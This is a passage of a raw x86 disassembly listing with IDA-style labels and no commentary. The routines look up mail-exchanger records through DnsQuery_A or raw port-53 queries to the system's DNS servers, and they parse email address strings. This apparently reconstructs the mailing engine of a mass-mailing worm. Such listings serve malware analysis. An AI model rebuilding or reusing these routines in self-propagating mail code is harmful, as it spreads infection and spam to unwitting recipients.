  3929.         cmp    [esp+144h+var_130], ebp
  3930.         mov    [esp+144h+var_12C], ebp
  3931.         jnz    short loc_4A4CBD
  3932.         push    100h
  3933.         jmp    short loc_4A4CBE
  3934. ; ───────────────────────────────────────────────────────────────────────────
  3935.  
  3936. loc_4A4CBD:                ; CODE XREF: sub_4A4C45+6Fj
  3937.         push    ebp
  3938.  
  3939. loc_4A4CBE:                ; CODE XREF: sub_4A4C45+76j
  3940.         call    ds:WS2_32_9
  3941.         push    eax
  3942.         push    [esp+14Ch+var_8]
  3943.         push    [esp+150h+var_C]
  3944.         push    edi
  3945.         call    sub_4A48E2
  3946.         add    esp, 10h
  3947.         test    eax, eax
  3948.         jnz    loc_4A4E72
  3949.         push    0Ch
  3950.         lea    eax, [esp+14Ch+var_11C]
  3951.         pop    esi
  3952.         mov    [esp+148h+var_110], edi
  3953.         push    eax
  3954.         push    ebp
  3955.         lea    eax, [esp+150h+Mem] ; lpMem
  3956.         push    ebp
  3957.         push    eax
  3958.         push    ebp
  3959.         mov    [esp+15Ch+Mem],    1
  3960.         mov    [esp+15Ch+var_11C], esi
  3961.         mov    [esp+15Ch+var_118], ebp
  3962.         call    ds:WS2_32_18
  3963.         test    eax, eax
  3964.         jle    loc_4A4E72
  3965.         push    4
  3966.         push    ebp
  3967.         push    ebx
  3968.         call    memset
  3969.         add    esp, 0Ch
  3970.         push    ebp
  3971.         push    1000h
  3972.         push    ebx
  3973.         push    edi
  3974.         call    ds:WS2_32_16
  3975.         mov    ebp, eax
  3976.         test    ebp, ebp
  3977.         mov    [esp+16Ch+var_144], ebp
  3978.         jle    loc_4A4E72
  3979.         cmp    ebp, esi
  3980.         jbe    loc_4A4E72
  3981.         mov    ax, [ebx+2]    ; lpMem
  3982.         mov    edi, ds:WS2_32_15
  3983.         push    eax
  3984.         call    edi ; WS2_32_15
  3985.         mov    si, ax
  3986.         and    esi, 0Fh
  3987.         cmp    esi, 3
  3988.         jz    loc_4A4E83
  3989.         cmp    esi, 2
  3990.         jnz    short loc_4A4D76
  3991.         mov    ax, [ebx+2]    ; lpMem
  3992.         push    eax
  3993.         call    edi ; WS2_32_15
  3994.         test    al, al
  3995.         js    loc_4A4E83
  3996.  
  3997. loc_4A4D76:                ; CODE XREF: sub_4A4C45+120j
  3998.         test    esi, esi
  3999.         jnz    loc_4A4E72
  4000.         push    ebp
  4001.         push    ebx
  4002.         call    sub_4A4AFE
  4003.         pop    ecx
  4004.         mov    [esp+178h+var_154], eax
  4005.         test    eax, eax
  4006.         pop    ecx
  4007.         jz    loc_4A4E72
  4008.         and    [esp+174h+lpMem], esi
  4009.         and    [esp+174h+var_15C], esi
  4010.         mov    edi, eax
  4011.         mov    [esp+174h+var_164], edi
  4012.         jmp    short loc_4A4DA7
  4013. ; ───────────────────────────────────────────────────────────────────────────
  4014.  
  4015. loc_4A4DA3:                ; CODE XREF: sub_4A4C45+217j
  4016.         mov    edi, [esp+174h+var_164]
  4017.  
  4018. loc_4A4DA7:                ; CODE XREF: sub_4A4C45+15Cj
  4019.         cmp    word ptr [edi+10Ah], 1
  4020.         jnz    loc_4A4E54
  4021.         cmp    word ptr [edi+108h], 0Fh
  4022.         jnz    loc_4A4E54
  4023.         cmp    word ptr [edi+10Ch], 3
  4024.         jb    loc_4A4E54
  4025.         mov    ebp, 108h
  4026.         push    ebp        ; dwBytes
  4027.         push    0        ; dwFlags
  4028.         call    ds:GetProcessHeap
  4029.         push    eax        ; hHeap
  4030.         call    ds:HeapAlloc
  4031.         mov    esi, eax
  4032.         test    esi, esi
  4033.         jz    short loc_4A4E62
  4034.         push    ebp
  4035.         push    0
  4036.         push    esi
  4037.         call    memset
  4038.         add    edi, 110h
  4039.         add    esp, 0Ch
  4040.         mov    eax, [edi]    ; lpMem
  4041.         mov    ax, [eax+ebx]    ; lpMem
  4042.         push    eax
  4043.         call    ds:WS2_32_15
  4044.         movzx    eax, ax
  4045.         push    [esp+178h+var_150]
  4046.         mov    [esi+4], eax
  4047.         mov    eax, [edi]
  4048.         lea    ebp, [esi+8]
  4049.         inc    eax
  4050.         mov    edi, ebp
  4051.         inc    eax
  4052.         call    sub_4A4A4C
  4053.         cmp    byte ptr [ebp+0], 0
  4054.         pop    ecx
  4055.         jnz    short loc_4A4E3C
  4056.         push    esi        ; lpMem
  4057.         push    0        ; dwFlags
  4058.         call    ds:GetProcessHeap
  4059.         push    eax        ; hHeap
  4060.         call    ds:HeapFree
  4061.         jmp    short loc_4A4E50
  4062. ; ───────────────────────────────────────────────────────────────────────────
  4063.  
  4064. loc_4A4E3C:                ; CODE XREF: sub_4A4C45+1E3j
  4065.         mov    eax, [esp+178h+var_15C]    ; lpMem
  4066.         mov    [esp+178h+var_15C], esi
  4067.         test    eax, eax
  4068.         jnz    short loc_4A4E4E
  4069.         mov    [esp+178h+var_160], esi
  4070.         jmp    short loc_4A4E50
  4071. ; ───────────────────────────────────────────────────────────────────────────
  4072.  
  4073. loc_4A4E4E:                ; CODE XREF: sub_4A4C45+201j
  4074.         mov    [eax], esi
  4075.  
  4076. loc_4A4E50:                ; CODE XREF: sub_4A4C45+1F5j
  4077.                     ; sub_4A4C45+207j
  4078.         mov    edi, [esp+178h+var_168]
  4079.  
  4080. loc_4A4E54:                ; CODE XREF: sub_4A4C45+16Aj
  4081.                     ; sub_4A4C45+178j ...
  4082.         mov    edi, [edi]
  4083.         test    edi, edi
  4084.         mov    [esp+178h+var_168], edi
  4085.         jnz    loc_4A4DA3
  4086.  
  4087. loc_4A4E62:                ; CODE XREF: sub_4A4C45+1A5j
  4088.         mov    eax, [esp+178h+lpMem] ;    lpMem
  4089.         call    sub_4A4ADF
  4090.         cmp    [esp+178h+var_160], 0
  4091.         jnz    short loc_4A4E90
  4092.  
  4093. loc_4A4E72:                ; CODE XREF: sub_4A4C45+99j
  4094.                     ; sub_4A4C45+CBj ...
  4095.         inc    [esp+178h+var_164]
  4096.         cmp    [esp+178h+var_164], 2
  4097.         jl    loc_4A4CA6
  4098.         jmp    short loc_4A4E90
  4099. ; ───────────────────────────────────────────────────────────────────────────
  4100.  
  4101. loc_4A4E83:                ; CODE XREF: sub_4A4C45+117j
  4102.                     ; sub_4A4C45+12Bj
  4103.         mov    eax, [esp+170h+var_2C]
  4104.         mov    dword ptr [eax], 2
  4105.  
  4106. loc_4A4E90:                ; CODE XREF: sub_4A4C45+22Bj
  4107.                     ; sub_4A4C45+23Cj
  4108.         push    ebx        ; lpMem
  4109.         push    0        ; dwFlags
  4110.         call    ds:GetProcessHeap
  4111.         push    eax        ; hHeap
  4112.         call    ds:HeapFree
  4113.         push    [esp+170h+var_14C]
  4114.         call    ds:WS2_32_3
  4115.         mov    eax, [esp+174h+var_15C]
  4116.         jmp    short loc_4A4EBD
  4117. ; ───────────────────────────────────────────────────────────────────────────
  4118.  
  4119. loc_4A4EB0:                ; CODE XREF: sub_4A4C45+4Cj
  4120.                     ; sub_4A4C45+55j
  4121.         push    ebx        ; lpMem
  4122.         push    ebp        ; dwFlags
  4123.         call    esi
  4124.         push    eax        ; hHeap
  4125.         call    ds:HeapFree
  4126.         xor    eax, eax
  4127.  
  4128. loc_4A4EBD:                ; CODE XREF: sub_4A4C45+269j
  4129.         pop    edi
  4130.  
  4131. loc_4A4EBE:                ; CODE XREF: sub_4A4C45+32j
  4132.         pop    esi
  4133.         pop    ebp
  4134.         pop    ebx
  4135.         add    esp, 128h
  4136.         retn
  4137. sub_4A4C45    endp ; sp = -0Ch
  4138.  
  4139.  
  4140. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4141.  
  4142. ; Attributes: bp-based frame
  4143.  
  4144. sub_4A4EC8    proc near        ; CODE XREF: .text:004A50A3p
  4145.  
  4146. var_4        = dword    ptr -4
  4147. arg_0        = dword    ptr  8
  4148. arg_4        = dword    ptr  0Ch
  4149.  
  4150.         push    ebp
  4151.         mov    ebp, esp
  4152.         push    ecx
  4153.         push    esi
  4154.         xor    esi, esi
  4155.  
  4156. loc_4A4ECF:                ; CODE XREF: sub_4A4EC8+2Fj
  4157.         lea    eax, [ebp+var_4]
  4158.         push    eax
  4159.         push    [ebp+arg_4]
  4160.         push    [ebp+arg_0]
  4161.         call    sub_4A4C45
  4162.         add    esp, 0Ch
  4163.         test    eax, eax
  4164.         jnz    short loc_4A4EFB
  4165.         cmp    [ebp+var_4], 2
  4166.         jz    short loc_4A4EF9
  4167.         push    64h        ; dwMilliseconds
  4168.         call    ds:Sleep
  4169.         inc    esi
  4170.         cmp    esi, 2
  4171.         jl    short loc_4A4ECF
  4172.  
  4173. loc_4A4EF9:                ; CODE XREF: sub_4A4EC8+21j
  4174.         xor    eax, eax
  4175.  
  4176. loc_4A4EFB:                ; CODE XREF: sub_4A4EC8+1Bj
  4177.         pop    esi
  4178.         leave
  4179.         retn
  4180. sub_4A4EC8    endp
  4181.  
  4182.  
  4183. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4184.  
  4185. ; Attributes: bp-based frame
  4186.  
  4187. sub_4A4EFE    proc near        ; CODE XREF: sub_4A50D1+4p
  4188.  
  4189. LibFileName    = byte ptr -18h
  4190. var_C        = dword    ptr -0Ch
  4191. var_8        = dword    ptr -8
  4192. var_4        = dword    ptr -4
  4193. arg_0        = dword    ptr  8
  4194.  
  4195.         push    ebp
  4196.         mov    ebp, esp
  4197.         sub    esp, 18h
  4198.         push    esi
  4199.         push    edi
  4200.         mov    esi, offset aDnsapi_dll    ; "dnsapi.dll"
  4201.         lea    edi, [ebp+LibFileName]
  4202.         movsd
  4203.         movsd
  4204.         movsw
  4205.         lea    eax, [ebp+LibFileName]
  4206.         push    eax        ; lpModuleName
  4207.         movsb
  4208.         call    ds:GetModuleHandleA
  4209.         xor    esi, esi
  4210.         cmp    eax, esi
  4211.         jnz    short loc_4A4F31
  4212.         lea    eax, [ebp+LibFileName]
  4213.         push    eax        ; lpLibFileName
  4214.         call    ds:LoadLibraryA
  4215.         cmp    eax, esi
  4216.         jz    short loc_4A4F53
  4217.  
  4218. loc_4A4F31:                ; CODE XREF: sub_4A4EFE+23j
  4219.         push    offset aDnsquery_a ; lpProcName
  4220.         push    eax        ; hModule
  4221.         call    ds:GetProcAddress
  4222.         cmp    eax, esi
  4223.         jz    short loc_4A4F53
  4224.         lea    ecx, [ebp+var_C]
  4225.         push    esi
  4226.         push    ecx
  4227.         push    esi
  4228.         push    esi
  4229.         push    0Fh
  4230.         push    [ebp+arg_0]
  4231.         call    eax
  4232.         test    eax, eax
  4233.         jz    short loc_4A4F57
  4234.  
  4235. loc_4A4F53:                ; CODE XREF: sub_4A4EFE+31j
  4236.                     ; sub_4A4EFE+41j
  4237.         xor    eax, eax
  4238.         jmp    short loc_4A4FC8
  4239. ; ───────────────────────────────────────────────────────────────────────────
  4240.  
  4241. loc_4A4F57:                ; CODE XREF: sub_4A4EFE+53j
  4242.         mov    edi, [ebp+var_C]
  4243.         mov    [ebp+var_4], esi
  4244.         cmp    edi, esi
  4245.         mov    [ebp+var_8], esi
  4246.         jz    short loc_4A4FC5
  4247.         push    ebx
  4248.         mov    ebx, 108h
  4249.  
  4250. loc_4A4F6A:                ; CODE XREF: sub_4A4EFE+C4j
  4251.         cmp    word ptr [edi+8], 0Fh
  4252.         jnz    short loc_4A4FBC
  4253.         push    ebx        ; dwBytes
  4254.         push    esi        ; dwFlags
  4255.         call    ds:GetProcessHeap
  4256.         push    eax        ; hHeap
  4257.         call    ds:HeapAlloc
  4258.         mov    esi, eax
  4259.         test    esi, esi
  4260.         jz    short loc_4A4FC4
  4261.         push    ebx
  4262.         push    0
  4263.         push    esi
  4264.         call    memset
  4265.         movzx    eax, word ptr [edi+1Ch]
  4266.         add    esp, 0Ch
  4267.         mov    [esi+4], eax
  4268.         lea    eax, [esi+8]
  4269.         push    0FFh        ; iMaxLength
  4270.         push    dword ptr [edi+18h] ; lpString2
  4271.         push    eax        ; lpString1
  4272.         call    ds:lstrcpynA
  4273.         mov    eax, [ebp+var_4]
  4274.         mov    [ebp+var_4], esi
  4275.         test    eax, eax
  4276.         jnz    short loc_4A4FBA
  4277.         mov    [ebp+var_8], esi
  4278.         jmp    short loc_4A4FBC
  4279. ; ───────────────────────────────────────────────────────────────────────────
  4280.  
  4281. loc_4A4FBA:                ; CODE XREF: sub_4A4EFE+B5j
  4282.         mov    [eax], esi
  4283.  
  4284. loc_4A4FBC:                ; CODE XREF: sub_4A4EFE+71j
  4285.                     ; sub_4A4EFE+BAj
  4286.         mov    edi, [edi]
  4287.         xor    esi, esi
  4288.         cmp    edi, esi
  4289.         jnz    short loc_4A4F6A
  4290.  
  4291. loc_4A4FC4:                ; CODE XREF: sub_4A4EFE+86j
  4292.         pop    ebx
  4293.  
  4294. loc_4A4FC5:                ; CODE XREF: sub_4A4EFE+64j
  4295.         mov    eax, [ebp+var_8]
  4296.  
  4297. loc_4A4FC8:                ; CODE XREF: sub_4A4EFE+57j
  4298.         pop    edi
  4299.         pop    esi
  4300.         leave
  4301.         retn
  4302. sub_4A4EFE    endp
  4303.  
  4304. ; ───────────────────────────────────────────────────────────────────────────
  4305.  
  4306. loc_4A4FCC:                ; CODE XREF: sub_4A50D1+Ej
  4307.         push    ebp
  4308.         mov    ebp, esp
  4309.         sub    esp, 1Ch
  4310.         push    ebx
  4311.         push    esi
  4312.         mov    esi, offset aIphlpapi_dll ; "iphlpapi.dll"
  4313.         push    edi
  4314.         push    esi
  4315.         call    ds:GetModuleHandleA
  4316.         test    eax, eax
  4317.         jz    short loc_4A4FEA
  4318.         cmp    eax, 0FFFFFFFFh
  4319.         jnz    short loc_4A4FF1
  4320.  
  4321. loc_4A4FEA:                ; CODE XREF: .text:004A4FE3j
  4322.         push    esi
  4323.         call    ds:LoadLibraryA
  4324.  
  4325. loc_4A4FF1:                ; CODE XREF: .text:004A4FE8j
  4326.         test    eax, eax
  4327.         jz    loc_4A50CA
  4328.         cmp    eax, 0FFFFFFFFh
  4329.         jz    loc_4A50CA
  4330.         push    offset aGetnetworkpara ; "GetNetworkParams"
  4331.         push    eax
  4332.         call    ds:GetProcAddress
  4333.         mov    edi, eax
  4334.         test    edi, edi
  4335.         jz    loc_4A50CA
  4336.         mov    ebx, ds:GetProcessHeap
  4337.         mov    esi, 4000h
  4338.         push    esi
  4339.         push    0
  4340.         call    ebx ; GetProcessHeap
  4341.         push    eax
  4342.         call    ds:HeapAlloc
  4343.         lea    ecx, [ebp-0Ch]
  4344.         mov    [ebp-4], eax
  4345.         push    ecx
  4346.         push    eax
  4347.         mov    [ebp-0Ch], esi
  4348.         call    edi
  4349.         test    eax, eax
  4350.         jnz    loc_4A50CA
  4351.         mov    edi, [ebp-4]
  4352.         and    [ebp-8], eax
  4353.         add    edi, 10Ch
  4354.         jmp    short loc_4A50B3
  4355. ; ───────────────────────────────────────────────────────────────────────────
  4356.  
  4357. loc_4A5052:                ; CODE XREF: .text:004A50B5j
  4358.         lea    esi, [edi+4]
  4359.         test    esi, esi
  4360.         jz    short loc_4A50B1
  4361.         push    35h
  4362.         mov    word ptr [ebp-1Ch], 2
  4363.         call    ds:WS2_32_9
  4364.         push    esi
  4365.         mov    [ebp-1Ah], ax
  4366.         call    ds:WS2_32_11
  4367.         test    eax, eax
  4368.         mov    [ebp-18h], eax
  4369.         jz    short loc_4A507E
  4370.         cmp    eax, 0FFFFFFFFh
  4371.         jnz    short loc_4A5093
  4372.  
  4373. loc_4A507E:                ; CODE XREF: .text:004A5077j
  4374.         push    esi
  4375.         call    ds:WS2_32_52
  4376.         test    eax, eax
  4377.         jz    short loc_4A50B1
  4378.         mov    eax, [eax+0Ch]
  4379.         mov    eax, [eax]
  4380.         mov    eax, [eax]
  4381.         mov    [ebp-18h], eax
  4382.  
  4383. loc_4A5093:                ; CODE XREF: .text:004A507Cj
  4384.         test    eax, eax
  4385.         jz    short loc_4A50B1
  4386.         cmp    eax, 0FFFFFFFFh
  4387.         jz    short loc_4A50B1
  4388.         push    dword ptr [ebp+8]
  4389.         lea    eax, [ebp-1Ch]
  4390.         push    eax
  4391.         call    sub_4A4EC8
  4392.         pop    ecx
  4393.         mov    [ebp-8], eax
  4394.         test    eax, eax
  4395.         pop    ecx
  4396.         jnz    short loc_4A50B7
  4397.  
  4398. loc_4A50B1:                ; CODE XREF: .text:004A5057j
  4399.                     ; .text:004A5087j ...
  4400.         mov    edi, [edi]
  4401.  
  4402. loc_4A50B3:                ; CODE XREF: .text:004A5050j
  4403.         test    edi, edi
  4404.         jnz    short loc_4A5052
  4405.  
  4406. loc_4A50B7:                ; CODE XREF: .text:004A50AFj
  4407.         push    dword ptr [ebp-4]
  4408.         push    0
  4409.         call    ebx ; GetProcessHeap
  4410.         push    eax
  4411.         call    ds:HeapFree
  4412.         mov    eax, [ebp-8]
  4413.         jmp    short loc_4A50CC
  4414. ; ───────────────────────────────────────────────────────────────────────────
  4415.  
  4416. loc_4A50CA:                ; CODE XREF: .text:004A4FF3j
  4417.                     ; .text:004A4FFCj ...
  4418.         xor    eax, eax
  4419.  
  4420. loc_4A50CC:                ; CODE XREF: .text:004A50C8j
  4421.         pop    edi
  4422.         pop    esi
  4423.         pop    ebx
  4424.         leave
  4425.         retn
  4426.  
  4427. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4428.  
  4429.  
  4430. sub_4A50D1    proc near        ; CODE XREF: sub_4A5A31+17p
  4431.  
  4432. arg_0        = dword    ptr  4
  4433.  
  4434.         push    [esp+arg_0]
  4435.         call    sub_4A4EFE
  4436.         test    eax, eax
  4437.         pop    ecx
  4438.         jnz    short locret_4A50E4
  4439.         jmp    loc_4A4FCC
  4440. ; ───────────────────────────────────────────────────────────────────────────
  4441.  
  4442. locret_4A50E4:                ; CODE XREF: sub_4A50D1+Cj
  4443.         retn
  4444. sub_4A50D1    endp
  4445.  
  4446.  
  4447. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4448.  
  4449.  
  4450. ; int __cdecl sub_4A50E5(LPVOID    lpMem)
  4451. sub_4A50E5    proc near        ; CODE XREF: sub_4A595D+B1p
  4452.  
  4453. lpMem        = dword    ptr  4
  4454.  
  4455.         mov    eax, [esp+lpMem]
  4456.         test    eax, eax
  4457.         jz    short locret_4A5107
  4458.         push    esi
  4459.  
  4460. loc_4A50EE:                ; CODE XREF: sub_4A50E5+1Fj
  4461.         mov    esi, [eax]
  4462.         push    eax        ; lpMem
  4463.         push    0        ; dwFlags
  4464.         call    ds:GetProcessHeap
  4465.         push    eax        ; hHeap
  4466.         call    ds:HeapFree
  4467.         test    esi, esi
  4468.         mov    eax, esi
  4469.         jnz    short loc_4A50EE
  4470.         pop    esi
  4471.  
  4472. locret_4A5107:                ; CODE XREF: sub_4A50E5+6j
  4473.         retn
  4474. sub_4A50E5    endp
  4475.  
  4476.  
  4477. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4478.  
  4479.  
  4480. sub_4A5108    proc near        ; CODE XREF: sub_4A5718+8p
  4481.  
  4482. var_4        = dword    ptr -4
  4483. arg_0        = dword    ptr  4
  4484.  
  4485.         push    ecx
  4486.         push    ebp
  4487.         mov    ebp, [esp+8+arg_0]
  4488.         push    edi
  4489.         mov    edi, eax
  4490.         push    edi        ; lpString
  4491.         call    ds:lstrlenA
  4492.         cmp    eax, 3
  4493.         jge    short loc_4A5125
  4494.         xor    eax, eax
  4495.         inc    eax
  4496.         jmp    loc_4A5311
  4497. ; ───────────────────────────────────────────────────────────────────────────
  4498.  
  4499. loc_4A5125:                ; CODE XREF: sub_4A5108+13j
  4500.         push    ebx
  4501.         push    esi
  4502.         xor    esi, esi
  4503.         cmp    byte ptr [edi],    0
  4504.         jz    short loc_4A517D
  4505.  
  4506. loc_4A512E:                ; CODE XREF: sub_4A5108+5Fj
  4507.         movsx    eax, byte ptr [esi+edi]
  4508.         push    eax
  4509.         call    ds:isspace
  4510.         test    eax, eax
  4511.         pop    ecx
  4512.         jnz    short loc_4A5162
  4513.         movsx    eax, byte ptr [esi+edi]
  4514.         push    eax
  4515.         call    ds:isalnum
  4516.         test    eax, eax
  4517.         pop    ecx
  4518.         jnz    short loc_4A517D
  4519.         mov    al, [esi+edi]
  4520.         push    eax
  4521.         push    offset a__@    ; "-._!@"
  4522.         call    sub_4A4285
  4523.         pop    ecx
  4524.         test    eax, eax
  4525.         pop    ecx
  4526.         jnz    short loc_4A517D
  4527.  
  4528. loc_4A5162:                ; CODE XREF: sub_4A5108+34j
  4529.         inc    esi
  4530.         cmp    byte ptr [esi+edi], 0
  4531.         jnz    short loc_4A512E
  4532.         jmp    short loc_4A517D
  4533. ; ───────────────────────────────────────────────────────────────────────────
  4534.  
  4535. loc_4A516B:                ; CODE XREF: sub_4A5108+7Aj
  4536.         push    eax
  4537.         push    offset a__    ; "-._!"
  4538.         call    sub_4A4285
  4539.         pop    ecx
  4540.         test    eax, eax
  4541.         pop    ecx
  4542.         jz    short loc_4A5184
  4543.         inc    esi
  4544.  
  4545. loc_4A517D:                ; CODE XREF: sub_4A5108+24j
  4546.                     ; sub_4A5108+44j ...
  4547.         mov    al, [esi+edi]
  4548.         test    al, al
  4549.         jnz    short loc_4A516B
  4550.  
  4551. loc_4A5184:                ; CODE XREF: sub_4A5108+72j
  4552.         xor    ebx, ebx
  4553.         mov    [esp+14h+var_4], ebx
  4554.         jmp    short loc_4A51C8
  4555. ; ───────────────────────────────────────────────────────────────────────────
  4556.  
  4557. loc_4A518C:                ; CODE XREF: sub_4A5108+C5j
  4558.         cmp    al, 40h
  4559.         jz    short loc_4A51CF
  4560.         movsx    eax, al
  4561.         push    eax
  4562.         call    ds:isalnum
  4563.         test    eax, eax
  4564.         pop    ecx
  4565.         jnz    short loc_4A51B3
  4566.         mov    al, [esi+edi]
  4567.         push    eax
  4568.         push    offset a__@    ; "-._!@"
  4569.         call    sub_4A4285
  4570.         pop    ecx
  4571.         test    eax, eax
  4572.         pop    ecx
  4573.         jz    short loc_4A51C7
  4574.  
  4575. loc_4A51B3:                ; CODE XREF: sub_4A5108+95j
  4576.         movsx    eax, byte ptr [esi+edi]
  4577.         push    eax
  4578.         call    ds:tolower
  4579.         mov    [ebx+ebp], al
  4580.         inc    ebx
  4581.         pop    ecx
  4582.         mov    [esp+14h+var_4], ebx
  4583.  
  4584. loc_4A51C7:                ; CODE XREF: sub_4A5108+A9j
  4585.         inc    esi
  4586.  
  4587. loc_4A51C8:                ; CODE XREF: sub_4A5108+82j
  4588.         mov    al, [esi+edi]
  4589.         test    al, al
  4590.         jnz    short loc_4A518C
  4591.  
  4592. loc_4A51CF:                ; CODE XREF: sub_4A5108+86j
  4593.         cmp    byte ptr [esi+edi], 40h
  4594.         jnz    loc_4A530C
  4595.  
  4596. loc_4A51D9:                ; CODE XREF: sub_4A5108+D6j
  4597.         inc    esi
  4598.         cmp    byte ptr [esi+edi], 40h
  4599.         jz    short loc_4A51D9
  4600.         and    byte ptr [ebx+ebp], 0
  4601.         push    ebp        ; lpString
  4602.         call    ds:lstrlenA
  4603.         mov    ebx, eax
  4604.         jmp    short loc_4A523D
  4605. ; ───────────────────────────────────────────────────────────────────────────
  4606.  
  4607. loc_4A51EF:                ; CODE XREF: sub_4A5108+136j
  4608.         movsx    eax, byte ptr [ebx+ebp]
  4609.         push    eax
  4610.         call    ds:isspace
  4611.         test    eax, eax
  4612.         pop    ecx
  4613.         jnz    short loc_4A523D
  4614.         mov    al, [ebx+ebp]
  4615.         push    eax
  4616.         push    offset a__    ; "-._!"
  4617.         call    sub_4A4285
  4618.         pop    ecx
  4619.         test    eax, eax
  4620.         pop    ecx
  4621.         jnz    short loc_4A523D
  4622.         movsx    eax, byte ptr [ebx+ebp]
  4623.         push    eax
  4624.         call    ds:isalnum
  4625.         test    eax, eax
  4626.         pop    ecx
  4627.         jnz    short loc_4A5237
  4628.         mov    al, [ebx+ebp]
  4629.         push    eax
  4630.         push    offset a__@    ; "-._!@"
  4631.         call    sub_4A4285
  4632.         pop    ecx
  4633.         test    eax, eax
  4634.         pop    ecx
  4635.         jz    short loc_4A523D
  4636.  
  4637. loc_4A5237:                ; CODE XREF: sub_4A5108+119j
  4638.         cmp    byte ptr [ebx+ebp], 40h
  4639.         jnz    short loc_4A5240
  4640.  
  4641. loc_4A523D:                ; CODE XREF: sub_4A5108+E5j
  4642.                     ; sub_4A5108+F5j ...
  4643.         dec    ebx
  4644.         jns    short loc_4A51EF
  4645.  
  4646. loc_4A5240:                ; CODE XREF: sub_4A5108+133j
  4647.         and    byte ptr [ebx+ebp+1], 0
  4648.         mov    ebx, [esp+14h+var_4]
  4649.         mov    byte ptr [ebx+ebp], 40h
  4650.         inc    ebx
  4651.         add    esi, edi
  4652.         jmp    short loc_4A5290
  4653. ; ───────────────────────────────────────────────────────────────────────────
  4654.  
  4655. loc_4A5252:                ; CODE XREF: sub_4A5108+18Bj
  4656.         movsx    eax, byte ptr [esi]
  4657.         push    eax
  4658.         call    ds:isalnum
  4659.         test    eax, eax
  4660.         pop    ecx
  4661.         jnz    short loc_4A5274
  4662.         mov    al, [esi]
  4663.         push    eax
  4664.         push    offset a__@    ; "-._!@"
  4665.         call    sub_4A4285
  4666.         pop    ecx
  4667.         test    eax, eax
  4668.         pop    ecx
  4669.         jz    short loc_4A528F
  4670.  
  4671. loc_4A5274:                ; CODE XREF: sub_4A5108+157j
  4672.         cmp    byte ptr [ebx+ebp-1], 2Eh
  4673.         jnz    short loc_4A5280
  4674.         cmp    byte ptr [esi],    2Eh
  4675.         jz    short loc_4A528F
  4676.  
  4677. loc_4A5280:                ; CODE XREF: sub_4A5108+171j
  4678.         movsx    eax, byte ptr [esi]
  4679.         push    eax
  4680.         call    ds:tolower
  4681.         mov    [ebx+ebp], al
  4682.         pop    ecx
  4683.         inc    ebx
  4684.  
  4685. loc_4A528F:                ; CODE XREF: sub_4A5108+16Aj
  4686.                     ; sub_4A5108+176j
  4687.         inc    esi
  4688.  
  4689. loc_4A5290:                ; CODE XREF: sub_4A5108+148j
  4690.         cmp    byte ptr [esi],    0
  4691.         jnz    short loc_4A5252
  4692.         and    byte ptr [ebx+ebp], 0
  4693.         mov    ebx, ds:lstrlenA
  4694.         push    ebp        ; lpString
  4695.         call    ebx ; lstrlenA
  4696.         mov    esi, eax
  4697.         jmp    short loc_4A52F2
  4698. ; ───────────────────────────────────────────────────────────────────────────
  4699.  
  4700. loc_4A52A6:                ; CODE XREF: sub_4A5108+1EBj
  4701.         lea    edi, [esi+ebp]
  4702.         movsx    eax, byte ptr [edi]
  4703.         push    eax
  4704.         call    ds:isspace
  4705.         test    eax, eax
  4706.         pop    ecx
  4707.         jnz    short loc_4A52F2
  4708.         mov    al, [edi]
  4709.         push    eax
  4710.         push    offset a__    ; "-._!"
  4711.         call    sub_4A4285
  4712.         pop    ecx
  4713.         test    eax, eax
  4714.         pop    ecx
  4715.         jnz    short loc_4A52F2
  4716.         movsx    eax, byte ptr [edi]
  4717.         push    eax
  4718.         call    ds:isalnum
  4719.         test    eax, eax
  4720.         pop    ecx
  4721.         jnz    short loc_4A52ED
  4722.         mov    al, [edi]
  4723.         push    eax
  4724.         push    offset a__@    ; "-._!@"
  4725.         call    sub_4A4285
  4726.         pop    ecx
  4727.         test    eax, eax
  4728.         pop    ecx
  4729.         jz    short loc_4A52F2
  4730.  
  4731. loc_4A52ED:                ; CODE XREF: sub_4A5108+1D0j
  4732.         cmp    byte ptr [edi],    40h
  4733.         jnz    short loc_4A52F5
  4734.  
  4735. loc_4A52F2:                ; CODE XREF: sub_4A5108+19Cj
  4736.                     ; sub_4A5108+1AEj ...
  4737.         dec    esi
  4738.         jns    short loc_4A52A6
  4739.  
  4740. loc_4A52F5:                ; CODE XREF: sub_4A5108+1E8j
  4741.         and    byte ptr [esi+ebp+1], 0
  4742.         push    ebp        ; lpString
  4743.         call    ebx ; lstrlenA
  4744.         cmp    eax, 3
  4745.         jl    short loc_4A530C
  4746.         cmp    byte ptr [ebp+0], 40h
  4747.         jz    short loc_4A530C
  4748.         xor    eax, eax
  4749.         jmp    short loc_4A530F
  4750. ; ───────────────────────────────────────────────────────────────────────────
  4751.  
  4752. loc_4A530C:                ; CODE XREF: sub_4A5108+CBj
  4753.                     ; sub_4A5108+1F8j ...
  4754.         xor    eax, eax
  4755.         inc    eax
  4756.  
  4757. loc_4A530F:                ; CODE XREF: sub_4A5108+202j
  4758.         pop    esi
  4759.         pop    ebx
  4760.  
  4761. loc_4A5311:                ; CODE XREF: sub_4A5108+18j
  4762.         pop    edi
  4763.         pop    ebp
  4764.         pop    ecx
  4765.         retn
  4766. sub_4A5108    endp
  4767.  
  4768.  
  4769. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  4770.  
  4771.  
  4772. ; int __cdecl sub_4A5315(LPSTR lpString1)
  4773. sub_4A5315    proc near        ; CODE XREF: sub_4A539F+9Ep
  4774.  
  4775. lpString1    = dword    ptr  0Ch
  4776.  
  4777.         push    ebx
  4778.         push    esi
  4779.         mov    esi, ecx
  4780.         push    edi
  4781.         xor    edi, edi
  4782.         mov    ebx, eax
  4783.         cmp    byte ptr [esi],    40h
  4784.         jz    short loc_4A534A
  4785.  
  4786. loc_4A5323:                ; CODE XREF: sub_4A5315+33j
  4787.         mov    al, [edi+esi]
  4788.         test    al, al
  4789.         jz    short loc_4A534A
  4790.         test    ebx, ebx
  4791.         jz    short loc_4A5343
  4792.         movsx    eax, al
  4793.         push    eax
  4794.         call    ds:isspace
  4795.         test    eax, eax
  4796.         pop    ecx
  4797.         jnz    short loc_4A5343
  4798.         mov    al, [edi+esi]
  4799.         mov    [ebx], al
  4800.         inc    ebx
  4801.  
  4802. loc_4A5343:                ; CODE XREF: sub_4A5315+17j
